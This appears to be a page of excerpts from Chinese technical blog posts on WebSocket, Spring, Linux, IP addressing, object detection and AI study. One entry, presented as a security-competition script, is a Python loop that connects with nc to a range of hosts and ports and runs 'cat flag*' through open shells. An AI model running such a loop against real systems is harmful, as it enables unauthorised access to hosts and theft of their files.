js实现WebSocket 连接

一.WebSocket 简单介绍 1.HTTP和WebSocket的区别 http:通信只能由客户端发起; WebSocket:服务器可以主动向客户端推送信息,客户端也可以主动向服务器发送信息,是真正的双向平等对话,属于服务器推送技术的一种;在webSocket协议下客服端和浏览器可以同时发送信息。 2.WebSocket应用场景 数据推送:webSocket可以代替ajax轮询(即客户端通过一定的时间间隔不断向服务器发起请求获得数据,因此会占用许多带宽和服务器资源),但是webSocket不一样,当建立TCP连接后,服务器可以主动给客户端传递数据,能够更好的节省服务器资源和带宽,实现更实时的数据通讯。 二.js使用WebSocket Web Sockets能够在客户端和服务端之间发送非常少量的数据,而不必担心HTTP那样字节级的开销,由于传递的数据包很小,因此WebSockets非常适合移动应用。 缺点:制定协议的时间比制定JavaScript API的时间还要长。 1.创建WebSocket实例 url:url之前需添加ws://(未加密)或wss://(已加密),类似http://、https:// protocol:与服务端定义的协议名称相同,协议的参数例如XMPP(Extensible Messaging and Presence Protocol)、SOAP(Simple Object Access Protocol)或者自定义协议。 var ws = new WebSocket('ws://url'); var ws1 = new WebSocket('ws://url', 'myprotocol'); var ws2 = new WebSocket('ws://url', ['protocol_1','protovol_2'])); 2.属性 ①readyState属性:WebSocket当前连接状态 属性值属性常量描述0CONNECTING正在与服务端建立WebSocket连接,还没有连接成功1OPEN连接成功并打开,可以发送消息2CLOSING进行关闭连接的操作,且尚未关闭3CLOSE连接已关闭或不能打开 通过 ws.readyState属性查看当前连接状态,例 alert('ws连接状态:' + ws.readyState); ②bufferedAmount:检查传输数据的大小,当客户端传输大量数据时使用避免网络饱和 ③protocol:在构造函数中使用,protocol参数让服务端知道客户端使用的WebSocket协议。而WebSocket对象的这个属性就是指的最终服务端确定下来的协议名称,可以为空 3.方法 ①发送数据:send() var message = { id: 1, title: '发送ws数据' } ws.send(JSON.stringify(message)); // 复杂的数据结构要先进行序列化 ②关闭连接:closed() ws.close() 4.事件 WebSocket API是纯事件驱动,建立连接之后,可自动发送状态改变的数据和通知 事件描述onopen当建立websocket连接时触发,只触发一次onerror当连接出现错误时触发-因为当触发了onerror之后连接就会触发关闭事件onmessage当服务端发送数据时触发,可多次触发,页面数据展示处理模块–实现轮询onclose当websocket连接关闭时触发,只触发一次 5.

Ubuntu server虚拟机配置静态IP

Ubuntu中的ip配置文件在/etc/netplan底下的yaml文件中。 编辑该文件:sudo vi /etc/netplan/00-installer-config.yaml ethernets下面的网卡可能有多个,从你自己的ifconfig中看,你当前需要更改哪一个。 改完保存后,执行: sudo netplan apply 最后使用,ifconfig查看ip是否已更改完成!

Spring5学习

spring是一款轻量级、开源的JavaEE框架,可以解决企业应用开发的复杂性。 使用spring需要引入的依赖 <dependency> <groupId>org.springframework</groupId> <artifactId>spring-expression</artifactId> <version>5.0.3.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>5.0.3.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-core</artifactId> <version>5.0.3.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-beans</artifactId> <version>5.0.3.RELEASE</version> </dependency> <!-- spring需要依赖日志文件--> <dependency> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> <version>1.2</version> </dependency> spring的两个特性(即spring的核心部分) 一、IOC控制反转,吧创建对象和对象之间的调用过程交给spring来管理,降低代码间的耦合度。 1、底层原理 (1)在xml文件中配置创建的对象 (2)工厂模式 (3)通过反射获取对象 2、IOC接口(BeanFactory) IOC思想是基于IOC容器完成的,IOC容器底层就是对象工厂。 (1)BeanFactory:IOC容器的基本实现,是spring内部使用的接口,不提供开发人员使用,加载配置文件的时候不会创建对象,在获取(使用)该对象的时候创建。 (2)ApplicationContext:BeanFactory接口的子接口,提供更强大的功能,一般由开发人员进行使用,在加载配置文件的时候就会将配置文件中的对象进行创建。 3、IOC操作Bean(基于xml配置文件)‘ Bean管理指两个步骤: 创建对象:在xml文件里添加bean 注入属性:DI依赖注入(IOC的一种实现方式) (1)通过无参构造方法注入 //创建bean <bean id="student" class="com.zhang.entity.Student"> <property name="name" value="张张"></property> <property name="gender" value="女"></property> </bean> //获取bean的实例 ApplicationContext context=new ClassPathXmlApplicationContext("bean1.xml"); Student student = context.getBean("student", Student.class); (2)通过有参构造方法注入 <bean id="student" class="com.zhang.entity.Student"> <constructor-arg name="

Latex公式与mathtype公式的互相转换

1、mathtype公式转换成Latex公式 在word中选中需要转换的mathtype公式,点击切换Tex,得到转换的latex代码; 2、Latex里的公式在word中转换成mathtype公式 在latex中复制公式代码,粘贴到word中,注意要在代码首尾加添加“$”,如图所示: 选中所有代码,点击"Alt+"完成转换。

网页上的在线打印如何下载成本地PDF格式(人工亲测)

第一步:下载谷歌浏览器 Google Chrome – Download the fast, secure browser from Google 第二步:安装完成之后,找到你需要保存的页面:举例如下图 第三步:点击谷歌浏览器右上角的三个"."然后单击后找到print再次点击 第四步:点击此处选择save as pdf 第五步:点击下面的save即可得到你想要的pdf文件了

2021-10-07

debian仓库小知识之main/contrib/non-free 在debian系统中,使用apt update后,会在apt的lists目录(默认是/var/lib/apt/lists)生成对应软件源的仓库索引文件,如下: 可以看到索引文件大致分三类: *_main_*、 *_controlb_*、 *_non-free_* 这三种类型的意义如下: main 表示最基础最主要且符合DFSG的包,可以看到这种类型的索引文件最大,说明里面的包数量最多controlb 表示带有非自由依赖关系的DFSG兼容软件,简单理解就是软件包符合DFSG但是对non-free的包有依赖关系non-free 表示非DFSG兼容软件,简单理解就是不属于自由软件 DFSG全称是Debian Free Software Guidelines,翻译过来就是Debian 自由软件指导方针,DFSG包含一些规则,DFSG兼容软件表示该软件符合DFSG规则,非DFSG兼容软件表示该软件不符合DFSG规则。

win10 明明可以上网但显示无Internet的问题(已解决)

浏览器可以上网,但右下角图标显示无Internet。 主要影响outlook等软件检查到网络状态后报断网不连接,不影响浏览器上网。 排查一遍后发现局域网其他设备网络连接没问题,网络疑难解答尝试重置网络没用,疑似单纯的检测和显示问题。 搜到一篇很有用的帖子 完美解决无Internet但能正常上网的问题 - 哔哩哔哩 (bilibili.com) 原理是每当连网后,系统会自动向微软的dns.msftncsi.com发出请求,然后返回一个NCSI.txt的值,这一值如果正确时,则确认为已连网。而Win10最近的版本中,这个返回服务器和值有了新变化并反映为6个注册表项中。这些变化因国内部分运行商的网络重定向,不能得到正确的反馈,因此出现实际能上网却显示为无internet的问题。下图中第一张图是出错的注册表项: 下图中第二张是18362版之前正确的注册表项: 其中被选中标成蓝色的项,改回为图中所显示的值,EnableActiveProbing仍恢复为1。 按照注册表修改之后禁用再重启网卡(不用重启电脑),问题解决,随即outlook就能联网了。

sv-semaphore

作用 信号是通过初始化一定数量的许可证,通过限制获得许可证的线程数量来阻塞未获取许可证达的线程,达到限制对特定资源访问的线程数量。 实现原理 所有多线程访问的控制方式归根结底都是对可共享地址进行管理,可以是简单的类似全局变量做的计数器判断,可以共享内存的数据结构的操作。 接口函数 new(): Creat a semaphore with a specified number kerys; get(): OBtian one or more keys from the busket; put(): Return one or more kyes into the bucker; try_get(): Try to obtian one or maor keys without blocking; 使用举例 单许可证,两线程竞争: sem = new(1) process 1: sem.get(1); .... sem.put(1); process 1: sem.get(1); .... sem.put(1); 多许可证,多线程竞争 sem = new(5) process 1: sem.get(2); .... sem.put(2); process 1: sem.get(2); .

目标检测:Object Detection with Deep Learning: A Review

文章目录 1. INTRODUCTION2. A BRIEFOVERVIEW OFDEEPLEARNING3. 通用目标检测A. Region Proposal Based Framework:基于区域提案的框架1) R-CNN2) SPP网络3) Fast R-CNN4) Faster R-CNN5) R-FCN6) FPN7) Mask R-CNN8) 多任务学习、多尺度表示和上下文建模9) 基于深度学习的目标检测思考 B. Regression/Classification Based Framework:基于回归/分类的框架1) Pioneer Works2) YOLO3) SSD C. Experimental Evaluation1) PASCAL VOC 2007/20122) MicrosoftCoCo3) Timing Analysis 4. 显著目标检测5. 人脸检测6. 行人检测7. 展望未来的方向和任务8. CONCLUSION 摘要 由于目标检测与视频分析和图像理解有着密切的关系,近年来引起了人们的广泛关注。传统的目标检测方法建立在手工制作的特征和浅层可训练的体系结构之上。通过构建复杂的集合,将多个低层图像特征与来自对象检测器和场景分类器的高层上下文相结合,它们的性能很容易停滞。随着深度学习的快速发展,越来越多的功能强大的工具被引入到解决传统体系结构中存在的问题中,这些工具能够学习语义、高层次、更深层次的特性。这些模型在网络结构、训练策略和优化功能等方面表现不同。在本文中,我们回顾了基于深度学习的目标检测框架。我们的回顾首先简要介绍了深度学习的历史及其代表性工具,即卷积神经网络(CNN)。然后,我们重点介绍了典型的通用对象检测体系结构以及一些修改和有用的技巧,以进一步提高检测性能。由于不同的特定检测任务表现出不同的特点,我们还简要介绍了几个特定任务,包括显著目标检测、人脸检测和行人检测。通过实验分析,对各种方法进行了比较,得出了一些有意义的结论。最后,本文提出了几个有希望的方向和任务,为目标检测和相关的基于神经网络的学习系统的未来工作提供了指导。 1. INTRODUCTION 为了获得一个完整的图像理解,我们不仅应该集中精力对不同的图像进行分类,还应该尝试精确地估计每个图像中包含的对象的概念和位置。此任务称为目标检测[1][S1],通常由不同的子任务组成,如人脸检测[2][S2]、行人检测[3][S2]和骨架检测[4][S3]。作为基本的计算机视觉问题之一,目标检测能够为图像和视频的语义理解提供有价值的信息,并且涉及到许多应用,包括图像分类[5]、[6]、人类行为分析[7][S4]、人脸识别[8][S5]和自动驾驶[9]、[10]。同时,这些领域的进展继承了神经网络和相关的学习系统,将发展神经网络算法,也将对可视为学习系统的目标检测技术产生重大影响。[11]-[14][S6]。然而,由于视点、姿态、遮挡和光照条件的巨大变化,使用额外的目标定位任务很难完美地完成目标检测。 近年来,这一领域引起了广泛的关注。 目标检测的问题定义是确定目标在给定图像中的位置(目标定位)以及每个目标所属的类别(目标分类)。因此,传统的目标检测模型主要分为三个阶段:信息区域选择、特征提取和分类。 信息区域选择:由于不同的对象可能出现在图像的任何位置,并且具有不同的纵横比或大小,因此使用多尺度滑动窗口扫描整个图像是一种自然选择。虽然这种穷举策略可以找出对象的所有可能位置,但其缺点也是显而易见的。由于候选窗口的数量很大,因此计算成本很高,并且会产生太多冗余窗口。但是,如果仅应用固定数量的滑动窗口模板,则可能会产生不符合要求的区域。 特征提取:为了识别不同的物体,我们需要提取能够提供语义和鲁棒性表示的视觉特征。SIFT[19]、HOG[20]和Haar-like[21]特征是典型特征。这是因为这些特征可以产生与人脑复杂细胞相关的表征[19]。然而,由于外观、光照条件和背景的多样性,很难手动设计一个健壮的特征描述符来完美地描述所有类型的对象。 分类:此外,还需要一个分类器来区分目标对象与所有其他类别,并使表示更具有层次性、语义性和信息性,便于视觉识别。通常,支持向量机(SVM)[22]、AdaBoost[23]和基于变形零件的模型(DPM)[24]是不错的选择。在这些分类器中,DPM是一种灵活的模型,通过将对象部分与变形代价相结合来处理严重变形。在DPM中,借助图形模型,精心设计的底层特征和受运动学启发的零件分解被结合起来。图形模型的区别性学习允许为各种对象类构建基于零件的高精度模型。 基于这些判别式局部特征描述符和浅层可学习体系结构,在PASCAL VOC目标检测竞赛[25]上取得了最新成果,并以较低的硬件负担获得了实时嵌入式系统。然而,在2010-2012年期间,仅通过构建集成系统和采用成功方法的微小变化,就获得了较小的收益[15]。这一事实是由于以下原因:1)使用滑动窗口策略生成候选边界框是冗余、低效和不准确的。2)人工设计的低级描述符和经过区别训练的浅层模型不能弥补语义鸿沟。 由于深度神经网络(DNN)[6][S7]的出现,通过引入Regions with CNN features (R-CNN)[15],获得了更显著的增益。DNN或最具代表性的CNN的行为方式与传统方法截然不同。他们有更深层次的体系结构,能够比浅层次的体系结构学习更复杂的功能。此外,表达能力和稳健的训练算法允许学习信息对象表示,而无需手动设计特征[26]。 自R-CNN提出以来,已经提出了许多改进模型,包括联合优化分类和包围盒回归任务的Fast R-CNN[16],需要额外子网络生成区域建议的 Faster R-CNN[18],以及通过固定网格回归实现目标检测的YOLO[17]。所有这些都在不同程度上提高了R-CNN的检测性能,使目标检测的实时性和准确性变得更容易实现。 本文对几个应用领域的代表性模型及其不同特征进行了系统综述,包括通用目标检测[15]、[16]、[18]、显著目标检测[27]、[28]、人脸检测[29]–[31]和行人检测[32]、[33]。它们之间的关系如图1所示。基于CNN的基本架构,通过边界盒回归实现通用目标检测,通过局部对比度增强和像素级分割实现显著目标检测。人脸检测和行人检测与一般目标检测密切相关,主要分别通过多尺度自适应和多特征融合/增强森林来实现。虚线表示在某些条件下,相应的域相互关联。应该注意的是,覆盖的领域是多样化的。行人和人脸图像具有规则的结构,而一般对象和场景图像在几何结构和布局上具有更复杂的变化。因此,不同的图像需要不同的深度模型。 有一个相关的工作[34],主要集中于相关软件工具来实现图像分类和目标检测的深度学习技术,但很少关注具体算法的细节。 与之不同的是,本文对基于深度学习的目标检测模型和算法进行了详细的综述,并给出了相应的实验比较和有意义的分析。

c语言 求24小时制时间间隔

#include <stdio.h> int main() { int a1, b1, c1, a2, b2, c2; int s1, s2, s3; int a3, b3, c3; scanf("%d:%d:%d", &a1, &b1, &c1); scanf("%d:%d:%d", &a2, &b2, &c2); s1 = a1 * 3600 + b1 * 60 + c1; s2 = a2 * 3600 + b2 * 60 + c2; if (s1 > s2) s3 = s1 - s2; else s3 = s2 - s1; a3 = s3 / 3600; b3 = (s3 - a3 * 3600) / 60; c3 = s3 - a3 * 3600 - b3 * 60; printf("

(2021网络安全中职组脚本)免费的脚本哦!

是一个nc批量连接的脚本。 #!/usr/bin/dev python import pexpect import threading def netcat(): for ip in range(202,255): ko=["10000","10001","10002"] for i in ko: a = pexpect.spawn("nc 192.168."+str(ip)+".132"+" "+i) a.setecho(False) a.sendline('cat flag*') a.sendline('exit') print ("ip:"+str(ip)+"\t"+i) print (a.read()) a.close() main=threading.Thread(target=netcat) main.start()

IP地址分类

IP地址 IPv4由32位二进制数组成,一般用点分十进制来表示; IPv6由128位组成,一般用冒号分隔,十六进制表示。 IPv4地址由两部分组成: 网络部分和主机部分 192.168.1.142 网络部分(192.168.1) 主机部分(142) IPv4含有私有网络地址和公有网络地址 公有网络地址是指在互联网上全球唯一的IP地址 IP地址分为A,B,C,D,E五类 A类地址范围:1.0.0.1~126.255.255.254 默认子网掩码/8,255.0.0.0 B类地址范围:128.0.0.1~191.255.255.254 默认子网掩码/16,255.255.0.0 C类地址范围:192.0.0.1~223.255.255.254 默认子网掩码/24,255.255.255.0 D类地址范围:224.0.0.1~239.255.255.254 用于组播通信的地址 E类地址范围:240.0.0.1~255.255.255.254 用于科学研究的保留地址 以127开头的IP地址都代表本机(广播地址除外),127.0.0.1为本机换回地址 169.254.0.0~168.254.255.255 DHCP服务失效时分配的地址 私有网络地址 A类私有地址:10.0.0.0~10.255.255.255 10.0.0.0/8 B类私有地址:172.16.0.0~172.31.255.255 172.16.0.0/12 C类私有地址:192.168.0.0~192.168.255.255 192.168.0.0//16 子网划分 网络组成:网络地址,可用IP,广播地址 子网掩码有32个二进制位 对应IP地址的网络部分用1,主机部位用0表示 例题:192.168.1.0 子网数=2^n,其中n为子网部分位数,例:/26,n=26-24 主机数=2^n-2,其中n为主机部分位数:n=32-26 192.168.1.0/24/25/26/27/28/29/30/31/32子网掩码0128192224240248252254255子网个数1248163264128256IP数量2561286432168421可用ip2541266230146201 192.168.1.100/32 表示为一个固定IP 根据IP地址的类型来判断n的值: A类地址:子网掩码 -8 B类地址:子网掩码 -16 C类地址:子网掩码 -24 N=32-子网掩码

Linux操作系统原理与应用实验 实验一 实验二 问题总结

“本文是在进行Linux实验一和实验二所遇到的问题或学到的小知识进行总结,问题的解决方法或许不难,也都能搜到,但是如果笔者自己总结下来能够节省很多人去搜索解决方法的繁琐步骤,节省大家的时间。” 实验一 进程控制与进程通信 ①隐式声明与内建函数不兼容 直接复制代码,exit()函数不兼容,只需在代码内#include<stdlib.h>即可 ②没有那个文件或目录 直接复制代码,提示缺少库文件pthreadtypes.h,只需去掉types,即:#include<pthread.h>即可 ③程序中有游离的\200\343 直接复制代码,提示程序中有游离的\200,\343,本质原因可能是因为复制的文档中的空格与操作系统中空格对应字符集不相同,导致编译器无法识别,只需去掉程序中空格,再在操作系统中重新打上即可。 ④多线程程输出结果无变化 直接复制代码,发现程序中本来应该因为多线程争夺资源产生不一样的输出结果,但是实际上并没有。原因可能如下:①在虚拟机中的设置中,没有选择多核cpu②for循环中次数过少,尝试更大的for循环即可 ⑤Makefile文件标红错误 直接复制代码,发现无法运行,只需去掉原有空格,再用tab进行缩进即可。 ⑥代码不报错,但是无输出结果 直接复制源代码,发现无输出结果,实际上为源代码输出结果处函数有误,n前跟一个\即可 ⑦虚拟机字符乱码 安装虚拟机时,发现有很多方块字符乱码,原因可能是在一开始安装的时候未选择GNOME图形界面,之后进入命令行界面才开始重新安装,或许会导致中文字符集丢失。应该在一开始安装就选择GNOME图形界面,重装即可。 实验二 内存分配与回收 ⑧Ctrl+d表示一个特殊的二进制值,表示EOF。 链接: 循环终止输入方式(Ctrl+Z,Ctrl+C,Ctrl+D(EOF)) ⑨指针free之后仍然能赋值! 链接: 指针free后仍能赋值,why? ⑩realloc()解析 链接: realloc 用法 ⑪_msize()用处 链接: _msize的用法 链接: _msize() 返回 new 分配内存的大小 ⑫malloc()解析 链接: C动态内存分配(四)malloc与new分配内存大小查看函数 ⑬find_task_by_vpid()函数在2.6.30之后的内核版本已经被替换。 在编译完内核之后尝试插入内核模块,发现提示如下,通过sudo dmesg发现报错函数,接着找到了新版本的函数进行替换。 链接: find_task_by_vpid undefined问题 链接: 内核模块编程练习 Linux内核版本查看 链接: 查看Linux内核版本 ⑭隐式函数声明解决方法: 链接: #C语言#警告:隐式声明函数‘xxx’ 如上图所示,一般来说都是没有inlcude对应头文件,通过 man 2 XXXX可以直接找到对应的头文件名,方便简洁。 ⑮段错误(吐核) 链接: [Linux] 什么是 段错误(吐核)? 感谢观看,希望对你有帮助~

目标检测:Imbalance Problems in Object Detection: A Review

文章目录 1. INTRODUCTION1.1 Scope and Aim1.2 Comparison with Previous Reviews1.3 A Guide to Reading This Review 2 BACKGROUND, DEFINITIONS ANDNOTATION2.1 State of the Art in Object Detection2.2 Frequently Used Terms and Notation 3 对象检测中的不平衡问题及其解决方案的分类4 IMBALANCE1: CLASSIMBALANCE4.1 Foreground-Background Class Imbalance4.1.1 Hard Sampling Methods 1. INTRODUCTION 目标检测是同时估计给定图像中目标实例的类别和位置。它是计算机视觉中的一个基本问题,在许多领域有着重要的应用,例如监控、自动驾驶、医疗决策以及机器人技术。 自从目标检测(OD)被视为一个机器学习问题以来,第一代OD方法依赖于手工制作的特征和线性、最大边距分类器。这一代中最成功和最具代表性的方法是可变形零件模型(DPM)。在Krizhevsky等人于2012年所做的极具影响力的工作之后,深度学习(或深度神经网络)开始主导计算机视觉中的各种问题,OD也不例外。当前一代OD方法都基于深度学习,其中第一代方法的手工特征和线性分类器都已被深度神经网络所取代。这种替换带来了性能上的显著改进:在广泛使用的OD基准数据集(PASCAL VOC)上,DPM实现了0.34平均精度(mAP),当前基于深度学习的OD模型达到0.80左右的mAP。 在过去五年中,虽然OD进展的主要驱动力是深度神经网络的结合[16]、[17]、[18]、[19]、[20]、[21]、[22]、[23],但OD在多个层面上的不平衡问题也受到了极大的关注[24]、[25]、[26]、[27]、[28]、[29]、[30]。当输入属性的分布影响性能时,就会出现输入属性的平衡问题。如果不解决,不平衡问题会对最终检测性能产生不利影响。例如,OD中最常见的不平衡问题是前景和背景的不平衡,表现在正例的数量与负例的数量之间的极端不平等。在给定的图像中,虽然通常有几个正例,但可以提取数百万个负例。如果不加以解决,这种不平衡会大大降低检测精度。 在本文中,我们回顾了深度学习时代的目标检测文献,并确定了八个不同的不平衡问题。我们将这些问题分类为四种主要类型:类别不平衡、规模不平衡、空间不平衡和目标不平衡(表1)。 表1:本文对不平衡问题进行了综述。我们声明,当输入属性的分布影响性能时,就会出现输入属性的不平衡问题。第一列显示了主要的不平衡类别。对于中间列中给出的每个不平衡问题,最后一列显示与不平衡问题的定义相关联的输入属性。 当与不同类别相关的示例数量存在显著不平等时,就会出现类别不平衡。虽然这方面的经典示例是前景背景不平衡,但前景(正)类之间也存在不平衡。当对象具有不同的比例和不同比例的示例数时,会出现比例不平衡。空间不平衡是指与边界框的空间属性相关的一组因素,如回归惩罚、位置和IoU。最后,当有多个损失函数需要最小化时,就会出现目标不平衡,就像OD中经常出现的情况一样(例如分类和回归损失)。 1.1 Scope and Aim 一般来说,不平衡问题在机器学习、计算机视觉和模式识别中有很大的应用范围。我们将本文的重点限制在目标检测中的不平衡问题上。由于当前的最新技术是由基于深度学习的方法形成的,因此我们在本文中讨论的问题和方法与深度对象检测器有关。虽然我们将注意力局限于静止图像中的目标检测,但我们简要讨论了其他领域中不平衡问题的异同。我们相信,这些讨论将为目标检测研究人员提供关于未来研究方向的见解。 给出一个全面的目标检测背景不是本文的目标之一;然而,要充分利用本文,还需要了解一些目标检测的背景知识。对于这个主题的全面背景,我们请读者参阅最近的全面的目标检测综述[31],[32],[33]。在第2.1节中,我们只提供关于最先进的目标检测的简要背景。 本文的主要目的是全面介绍和讨论目标检测中的不平衡问题。为了做到这一点: 我们确定并定义了不平衡问题,并提出了一个分类法来研究这些问题及其解决方案。我们对现有的研究进行了批判性的文献综述,旨在系统地统一这些研究。我们的文献概述包括问题的定义、主要方法的总结、具体解决方案的深入研究以及解决方案的比较总结。我们在问题层面和总体上提出和讨论公开问题。我们还为除目标检测以外的领域中发现的不平衡问题保留了一个部分。本节对各种方法进行了仔细的检查,考虑到它们对目标检测管道的适应性。最后,我们提供了一个附件网页:ObjectDetectionImbalance,它是一个动态更新的存储库,根据我们基于问题的分类法组织,存储了解决不平衡问题的论文。本网页将不断更新新的研究。 1.2 Comparison with Previous Reviews 最近的目标检测调查[31]、[32]、[33]旨在展示基于深度学习的通用目标检测的进展。为此,这些调查提出了目标检测方法的分类,并对一些影响很大的基础方法进行了详细分析。他们还提供了关于流行数据集和评估指标的讨论。从不平衡的角度来看,这些调查只考虑了类不平衡的问题,有一个有限的规定。此外,Zou等人[32]对处理规模不平衡的方法进行了综述。与这些调查不同,在这里,我们重点对与目标检测相关的不平衡问题进行分类,并对处理这些不平衡问题的方法进行全面回顾。 也有针对特定类别目标检测的调查(例如行人检测、车辆检测、人脸检测)[34]、[35]、[36]、[37]。尽管Zehang Sun等人[34]和Dollar等人[35]介绍了当前深度学习时代之前提出的方法,但从不平衡的角度来看,它们是有益的,因为它们全面分析了处理规模不平衡的特征提取方法。Zafeiriou等人[36]和Yin等人[38]提出了非深度和深度方法的比较分析。Litjens等人[39]讨论了基于深度神经网络的分类、检测、分割方法在医学图像分析中的应用。他们提出了挑战和可能的解决方案,其中包括对类不平衡问题的有限探索。这些类别特定的对象检测器专注于单个类,而没有从通用对象检测的角度全面地考虑不平衡问题。 另一组相关工作包括专门针对机器学习中不平衡问题的研究[40]、[41]、[42]、[43]。这些研究仅限于我们的背景下的前景类不平衡问题(即没有背景类)。通常,它们包括数据集级方法,如欠采样和过采样,以及算法级方法,包括特征选择、核修改和加权方法。与此类研究相比,我们确定了我们工作的三个主要差异。首先,这类工作的主要范围是分类问题,仍然与目标检测相关;然而,除了识别方面外,目标检测还有一个“搜索”方面,它将背景(即负片)类引入到图片中。其次,除了约翰逊等人(43),他们一般都考虑机器学习方法,而没有特别关注基于深度学习的方法。最后,更重要的是,这些工作只考虑前景类不平衡问题,这只是我们在这里提出和讨论的八个不同的不平衡问题之一(表1)。 1.3 A Guide to Reading This Review 论文的结构如下:

Python人工智能学习路线(长篇干货)

本文篇幅较长,干货较多,建议收藏慢慢看。 前言 谈到人工智能(AI)算法,常见不外乎有两方面信息:铺天盖地各种媒体提到的高薪就业【贩卖课程】、知乎上热门的算法岗“水深火热 灰飞烟灭”的梗【贩卖焦虑】。 其实,这两方面都是存在的,但都很片面,这里不加赘述。客观地说,数字化、智能化是人类社会发展的趋势,而当下人工智能无疑是一大热门,那是蓝海还是火海?我们回到老道理—水的深度,只有你自己去试试水才知道。 当你对上面情况有了初步的了解并想试试水,需要面对的问题是:AI入门容易吗? 答案其实是否定的,难!AI领域需要钻研算法原理、大量复杂的公式及符号、无所适从的项目都是劝退一时热度初学者的原因。但这些原因对于一个初学者,根本上是面对这样困难的学科却缺乏合适方法导致的。反问一个玩笑,程序员怎么会没有方法呢?随手就定义一个Python方法(funtion) def funtion(): return 'haha,往下继续看' 回到笔者,一名普普通通的程序员,当初也是误打误撞学习Python入门到机器学习、深度学习,至今有4个年头,踩了很多坑,下文说到的学习方法、路径也就填坑试错的经验罢了。 本文面向于AI领域了解不深、有些(高中+)基础知识且有自学兴趣的同学,以下为正文。 一、学习方法 说到学习方法,其实我们谈到的人工智能之所以智能,核心在于有学习能力。而人工智能学习过程有两个要素: 1、学习目标是什么(–什么目标函数)? 2、如何达到目标(–什么算法)? 人工智能领域很多思路和人类学习是很共恰的!可以发现这两个问题也是我们学习这门学科需要回答的。 学习目标是什么? 我们的学习目标比较清楚,就是入门人工智能领域,能完成一个AI相关的任务,或者找到相关的工作。 如何达到目标? 1、入门人工智能是个宽泛的目标,因此还得 将目标拆分成阶段性目标才易于执行,可以对应到下面–学习路线及建议资源的各个节点。 2、学习人工智能这门学科,需要提醒的是这本来就是件难事,所以实在搞不懂的知识可以放在后面补下,不要奢求一步到位(当然天赋了得另说),不要想一下子成为专家,可以从:懂得调用现成的算法模块(scikit-learn、tensorflow)做项目 -进阶-》懂得算法原理进一步精用、调优算法 -进阶-》领域专家。保持学习,循序渐进才是啃硬骨头的姿势。 3、啃硬骨头过程无疑是艰难的,所以慢慢地培养兴趣和及时的结果反馈是很重要的。这方面上,边学边敲代码是必须的,结合代码实践学习效率会比较高,还可以及时看到学习成果,就算是啃硬骨头看到牙印越来越深,不也是成果,也比较不容易放弃! 二、学习路线及建议资源 本学习路线的基本的框架是: 宽泛了解领域,建立一定兴趣 --》基础知识、工具准备 --》机器学习|深度学习的入门课程、书籍及项目实践 --》(面试准备)–》自行扩展:工作中实战学习 或 学术界特定领域钻研,经典算法原理、项目实践 2.1 了解领域,建立一定兴趣 首先对人工智能领域有个宽泛的了解,有自己的全局性的认识,产生一些判断,才不会人云亦云地因为“薪资高、压力大等” 去做出选择或者放弃。你做的准备调研越多,确认方向后越不容易放弃。 人工智能(Artificial Intelligence,AI)之研究目的是通过探索智慧的实质,扩展人类智能——促使智能主体会听(语音识别、机器翻译等)、会看(图像识别、文字识别等)、会说(语音合成、人机对话等)、会思考(人机对弈、专家系统等)、会学习(知识表示,机器学习等)、会行动(机器人、自动驾驶汽车等)。一个经典的AI定义是:“ 智能主体可以理解数据及从中学习,并利用知识实现特定目标和任务的能力。 从技术层面来看(如下图),现在所说的人工智能技术基本上就是机器学习方面的(其他方面的如专家系统、知识库等技术较为没落)。关于人工智能的发展历程,可以看看我之前一篇文章人工智能简史。 机器学习是指非显式的计算机程序可以从数据中学习,以此提高处理任务的水平,机器学习常见的任务有分类任务(如通过逻辑回归模型判断邮件是否为垃圾邮件类)、回归预测任务(线性回归模型预测房价)等等。深度学习是机器学习的一个子方向,是当下的热门,它通过搭建深层的神经网络模型以处理任务。 从应用领域上看,人工智能在众多的应用领域上面都有一定的发展,有语言识别、自然语言处理、图像识别、数据挖掘、推荐系统、智能风控、机器人等方面。值得注意的的是,不同应用领域上,从技术层面是比较一致,但结合到实际应用场景,所需要的业务知识、算法、工程上面的要求,差别还是相当大的。回到应用领域的选择,可以结合技术现在的发展情况、自己的兴趣领域再做判断。 2.2 基础知识、工具准备 学习人工智能需要先掌握编程、数学方面的基本知识:AI算法工程师首先是一名程序员,掌握编程实现方法才不将容易论知识束之高阁。而数学是人工智能理论的奠基,是必不可少的。 编程语言方面 编程语言之于程序员, 如宝剑之于侠士。编程语言就是程序员改变、创造数字虚拟世界的交互工具。 先简单介绍信息技术(IT)行业的情况,IT领域广泛按职能可以分为前端、后端、人工智能、嵌入式开发、游戏开发、运维、测试、网络安全等方面。前端常用技术栈为js\css\html,后端常用技术栈有Java\go\C++\php\Python等。 在人工智能领域,Python使用是比较广泛的,当然其他的语言也是可行的,如Java、C++、R语言等。语言也就工具,选择个适合的就好。结合自己的历程及语言的特性,AI小白还是建议可以从Python学起,理由如下: 1、因为其简单的语法及灵活的使用方法,Python很适合零基础入门; 2、Python有丰富的机器学习库,极大方便机器学习的开发; 3、Python在机器学习领域有较高的使用率,意味着社区庞大,应用范围广,市场上(具体可到招聘软件了解下)有较多的工作机会; 学习编程语言的两点建议: 1、多敲代码:只看书、视频而不敲代码是初学者的一个通病。要记住的是“纸上得来终觉浅”,程序员是一个工匠活,需要动手敲代码实践,熟能生巧。 2、 多谷歌: 互联网的信息无所不包的,学会利用互联网自己解决问题是一项基本功。不懂可以谷歌,业界一句有趣的话:程序员是面向谷歌/stackoverflow编程的; 建议资源: 以下资源只是一些个人的一些偏好推荐,挑一两种适合自己的资源学习就可以,不用全部都学浪费精力。如果都觉得不合适,按照自己的学习方式即可。 1、【Python入门书】首推Python经典书《Python编程从入门到实践.pdf(https://github.com/aialgorithm/AiPy/》,知识点通俗易懂,而且结合了项目实践,很适合初学者。注:Python在爬虫、web开发、游戏开发等方向也有应用,推荐本书主要学习下Python语法,而书后面的项目实战像有游戏开发\web开发,和机器学习关系不大,可以略过\自行了解下就好。 2、【Python入门教程】廖雪峰的Python在线学习教程,一个很大的特色是可以直接在线运行Python代码。 3、【Python入门视频】如果看书过于枯燥,可以结合视频学习,Python入门学习报培训班学习有点浪费,可以直接网易云课堂、Bilibili搜索相关的Python学习视频。我之前是看小甲鱼零基础入门学习Python课程,边看边敲敲代码,觉得还不错。 